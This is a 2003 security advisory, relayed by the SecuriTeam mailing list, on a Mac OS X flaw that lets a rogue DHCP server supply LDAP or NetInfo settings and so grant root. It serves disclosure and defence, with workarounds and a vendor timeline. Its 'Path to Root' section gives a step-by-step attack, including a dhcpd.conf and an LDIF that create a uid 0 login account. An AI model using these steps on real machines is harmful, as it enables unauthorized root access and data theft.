[NEWS] Malicious DHCP Allows Root Compromise of Mac OS X

From: SecuriTeam (support_at_securiteam.com)
Date: 12/01/03

  • Next message: SecuriTeam: "[UNIX] Snif File Disclosure Vulnerability" 
    To: list@securiteam.com
Date: 1 Dec 2003 13:47:50 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Malicious DHCP Allows Root Compromise of Mac OS X
    ------------------------------------------------------------------------

    SUMMARY

    A series of seemingly innocuous default settings can cause an affected Mac
    OS X machine to trust a malicious machine on a network for user, group,
    and volume mounting settings.

    DETAILS

    Vulnerable systems:
     * Mac OS X 10.3 (all versions through at least 26-Nov-2003)
     * Mac OS X Server 10.3 (all versions through at least 26-Nov-2003)
     * Mac OS X 10.2 (all versions through at least 26-Nov-2003)
     * Mac OS X Server 10.2 (all versions through at least 26-Nov-2003)
     * Probably earlier versions of Mac OS X and Mac OS X Server
     * Possibly developer seeded copies of future versions of Mac OS X

    What does this mean to the average user?
    Anyone who can gain access to your network can gain administrator (root)
    access to your computer and therefore steal your data or launch attacks
    upon others as soon as you reboot your machine. System administrators and
    users of affected software should read the section "Workarounds" for
    immediate actions to protect their machines. It is important to note that
    WEP security in 802.11b/g (AirPort/AirPort Extreme) wireless networks is
    generally not sufficient to protect your network from access by an
    attacker.

    Answers to Frequently Asked Questions:
    Is my machine safe if I have the root account "turned off"?
    No. The account attacking can be uid 0 and have any other name in the
    universe that is a valid account name.

    Is my machine safe if I have all remote access services "turned off"?
    No. This exploit allows malicious people full control of where things are
    mounting on your system. They can mount malware anywhere. Including places
    that can virtually guarantee executing of their target code. For example,
    an attacker could cause their evil data to be mounted as a crontab and
    have their fake root's crontab point to an evil executable mounted
    somewhere else. Bearing in mind that files can be NFS mounted as well as
    directories, this is not so far fetched.

    Why did you release this when you did?
    This was an exploitable remote root vulnerability. After Apple reneged on
    the Nov. 3rd release date William Carrel gave them 2-3 weeks. After the
    2-3 weeks were up, William Carrel asked for the status and they said
    "December". Meanwhile, users are left exposed and independent rediscovery
    seemed fairly likely. And maybe by someone less scrupulous than myself.
    William Carrel felt he was being strung along and that the issue may never
    get properly addressed so William Carrel set a hard deadline at that
    point. They didn't meet it, and William Carrel issued his advisory.

    It would not be fair of me to let Mac users hang out in the breeze for
    more than 2 months on an issue of this magnitude. You may disagree, but
    William Carrel has no regrets about his actions and feels that William
    Carrel was more than fair to Apple Computer and its users.

    Does Airport really come up soon enough for netinfo to bind to it?
    Yes. At least on the machines William Carrel has available for his
    testing. A poster on MacSlash has suggested that this isn't true on his
    machine. It may well be that this varies depending on hardware
    configuration. William Carrel doesn't have a complete line up of Apple's
    OS X capable hardware to test against, but William Carrel just reconfirmed
    that an iBook 600 MHz is vulnerable. Your mileage may vary.

    Vendor Response:
    Apple Computer has been notified of this issue and may be working a fix at
    this time. At the time of this writing, a fix is not available from Apple.

    Apple Computer has made an article repeating the steps of the workaround
    below available online.
    <http://docs.info.apple.com/article.html?artnum=32478> Article 32478: Mac
    OS X: Directory Access Configuration In the Presence of a Malicious DHCP
    Response.

    Article errata: Please note that the part of the article that states "For
    typical home network configurations with a broadband (DSL or cable
    service) modem and a NAT (Network Address Translation) device, such as
    Apple's Airport, this exploit is not possible." is not necessarily
    correct. If you have not secured your network (especially a wireless
    network) against malicious devices connecting to it, you can be exploited
    even if you are using NAT since the attack happens behind the NAT on your
    local subnet. As stated elsewhere in the advisory, 802.11b/g's "WEP"
    encryption is not adequate to secure a wireless network. On the other
    hand, the "WPA" encryption in the AirPort Extreme Base Stations is capable
    of securing your network against this attack. (At the time of this writing
    there are no known attacks against the "WPA" encryption method.)

    Workarounds:
    There are a variety of avenues to avoiding this vulnerability...
     1. Disable any network authorization services from obtaining settings
    from DHCP:
       * in Directory Access, select LDAPv3 in the Services tab, click
    "Configure...", uncheck "Use DHCP-supplied LDAP Server"
       * in Directory Access, select NetInfo in the Services tab, click
    "Configure...", uncheck "Attempt to connect using broadcast protocol" and
    "Attempt to connect using DHCP protocol"
       * in Directory Access, uncheck LDAPv3 and NetInfo in the Services tab,
    if you don't intend to use them
     2. Turning off DHCP on all interfaces on your affected Mac OS X machine
    can also keep you from being affected.

    For added security, be sure to disable any unused network ports:
       * turn the AirPort card off or remove it, if it is not being used.

    Configuration Awareness:
    If a user should need any of these settings turned on due to the network
    and authorization system they are currently using, they should be aware
    that they could fall prey to a malicious individual using the techniques
    outlined in this advisory. Steps to mitigate this concern could be as
    simple as manually configuring the directory server settings on the
    affected machine.

    Technical Details:
    By default, the affected versions of Mac OS X attempt to negotiate DHCP on
    all available interfaces. In the event that an Airport card is installed
    but there is no network nearby, they also default to associate with any
    network that might appear and then use DHCP to obtain an address. The
    system will also use DHCP provided fields, if available, to connect to an
    LDAP or NetInfo server on the network.

    The default settings in "Directory Access" on affected systems will cause
    the system to place the network LDAP or NetInfo server ahead of the local
    user info for any given account, and will implicitly trust the LDAP or
    NetInfo server to provide correct information. Furthermore, nothing in the
    system prevents a login as a user with uid 0 (zero) with any login name.
    For example, an LDAP or NetInfo source with an account username
    "bluemeanie", uid 0, would be perfectly valid and usable for login at the
    login window and on any network provided service, including SSH (which is
    turned on by default in certain versions of the affected software).

    In most cases, the Mac will need to be booted into the malicious
    environment to be exploitable by this flaw. (The netinfod process must be
    restarted to cause the malicious server to be inserted into the
    authentication source list.)

    By taking advantage of these default settings, a malicious individual
    could potentially take full control of a Mac OS X workstation or server
    without even having to make a physical connection to the machine. With a
    good antenna the malicious individual wouldn't even have to be in the same
    building.

    While the further examples in this advisory deal exclusively with LDAP,
    this vulnerability is equally exploitable using a malicious NetInfo
    server.

    An Attack Narrative on a Wireless Network:
    A malicious individual sets up a laptop with an 802.11b card running in AP
    mode. The individual then sets up a DHCP server on the laptop to give
    addresses and ldap-server (DHCP option 95) responses that point to the
    laptop and a private network. The individual then sets up an LDAP server
    on the laptop pre-populated with a user account with uid 0 and the
    ou=macosxodconfig item with the appropriate XML for the field locations.

    The individual then simply sits back and waits for the DHCP clients to
    take leases on the wireless network. When they do a simple port scan of
    the assigned address will reveal any ports that can be taken advantage of.
    At this point, the individual can install and run any malicious executable
    desired as uid 0.

    The malicious individual at this point can turn the 802.11b card in their
    laptop off and the only trace of their malfeasance on the victim machine
    is possibly a few lines in the system logs.

    Adapting the Attack to a Wired Network:
    To adapt an attack on this vulnerability to a wired network the malicious
    individual simply needs to beat any legitimate DHCP server that might be
    on the network in sending a response out to a request for an address. If
    the machine was previously associated with a DHCP server this becomes more
    difficult but is by no means impossible. The wired attack or an attack on
    an existing 802.11b/g network is more complicated but still feasible.

    The Path to Root:
    Taking advantage of this vulnerability is unfortunately quite trivial.
    Here is a walk through of the steps needed for the wireless attack
    outlined above:

     1. Take a fresh install of a UNIX-like system that supports a WiFi card.
     2. Configure the WiFi card to address 192.168.42.1 with a /24 network
    mask, if possible put the WiFi card into AP mode with any network name.
     3. Install ISC dhcpd, available as a pre-built package for nearly all
    UNIX-like systems.
     4. Enter the following into the dhcpd.conf (but don't start it yet):

    option ldap-server code 95 = text;
    authoritative;
    subnet 192.168.42.0 netmask 255.255.255.0 {
       range 192.168.42.2 192.168.42.254;
       option ldap-server "ldap://192.168.42.1/ou=evil";
    }

     5. Install OpenLDAP, available as a pre-built package for most UNIX-like
    systems.
     6. Create a file /tmp/odconfig.xml with the OD mapping information OS X
    needs. Alternatively, the ou=macosxodconfig,ou=evil object can be created
    from an OS X machine using the Directory Access application.
     7. Create a file evil.ldif with the following contents and feed it to
    ldapadd(1):

    dn: ou=evil
    objectClass: organizationalUnit
    ou: people

    dn: uid=bluemeanie,ou=evil
    objectClass: posixAccount
    uid: bluemeanie
    userPassword: {crypt}some_crypted_password
    cn: Malicious User
    gecos: Malicious User
    homeDirectory: /
    loginShell: /bin/sh
    uidNumber: 0
    gidNumber: 0

    dn: ou=macosxodconfig,ou=evil
    objectClass: organizationalUnit
    ou: macosxodconfig
    description:< file://tmp/odconfig.xml

     8. Confirm the creation of the above records using ldapsearch(1)
     9. Start up the dhcpd process to the WiFi interface
     10. Watch /var/db/dhcpd.leases for potentially vulnerable hosts who load
    the configuration
     11. Portscan the vulnerable hosts with a tool such as Network Utility.app
    or nmap to find services
     12. Log in to any presented services using the bluemeanie (uidNumber 0)
    credentials

    Bear in mind that the vulnerable hosts may need netinfod(8) to be reloaded
    to fall prey, waiting for them to be rebooted is sufficient.

    History of this Advisory & Vendor Contact Log:
    2003-10-09 Initial version of this advisory
    2003-10-09 Apple Computer notified
    2003-10-09 Apple Computer confirmed receipt and forwarded to eng. team
    2003-10-11 Minor edits, also added "Philosophical Issues" and "Path to
    Root"
    2003-10-14 Apple Computer assigns specific point of contact
    2003-10-14 Requested confirmation of issue with Apple Computer
    2003-10-15 Apple Computer confirms issue
    (2003-10-24 Original deadline given to Apple for acknowledging issue)
    (2003-10-24 Mac OS X 10.3 is released with this known issue)
    (2003-10-28 Mac OS X 10.3 Security Update released, does not address
    issue)
    2003-10-28 Requested update of fix status from Apple Computer
    2003-10-28 Apple Computer proposes Nov. 3 fix date
    2003-10-29 Apple Computer reneges on Nov. 3 date
    2003-10-29 Requested fix in "2 or 3 weeks" from Apple Computer
    (2003-11-04 Mac OS X 10.3 Security Update released, does not address
    issue)
    (2003-11-15 Mac OS X 10.3.1 is released with this known issue)
    2003-11-17 Requested update of fix status from Apple Computer
    2003-11-18 Requested update of fix status from Apple Computer
    (2003-11-19 Mac OS X 10.3.1 Security Update released, does not address
    issue)
    2003-11-19 Apple Computer replies "scheduled to go out in December's
    update"
    2003-11-19 Deadline of Nov. 26 given to Apple Computer
    2003-11-25 Minor edits, made "Path to Root" a little more work for the
    script kiddies
    2003-11-26 Advisory issued (48 days after initial vendor notification)
    2003-11-26 Added FAQ section at 2:10pm to address questions that have come
    up
    2003-11-26 Fixed an error in the FAQ at 9 pm regarding the mount behavior
    2003-11-27 Added a link to Apple's workaround article in "Vendor
    Response". (Found the link to this article at www.macintouch.com
    2003-11-27 Added a note in "Vendor Response" to indicate that the
    technical article on this matter contains an error and emailed Apple to
    ensure they are aware of the error.
    2003-11-27 Added a question to the FAQ relating to the ability of NetInfo
    to bind to the LDAP server on an Airport interface at boot time.

    ADDITIONAL INFORMATION

    The original advisory is available from:
    <http://www.carrel.org/dhcp-vuln.html>
    http://www.carrel.org/dhcp-vuln.html.

    The information has been provided by William Carrel.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Snif File Disclosure Vulnerability"

    Relevant Pages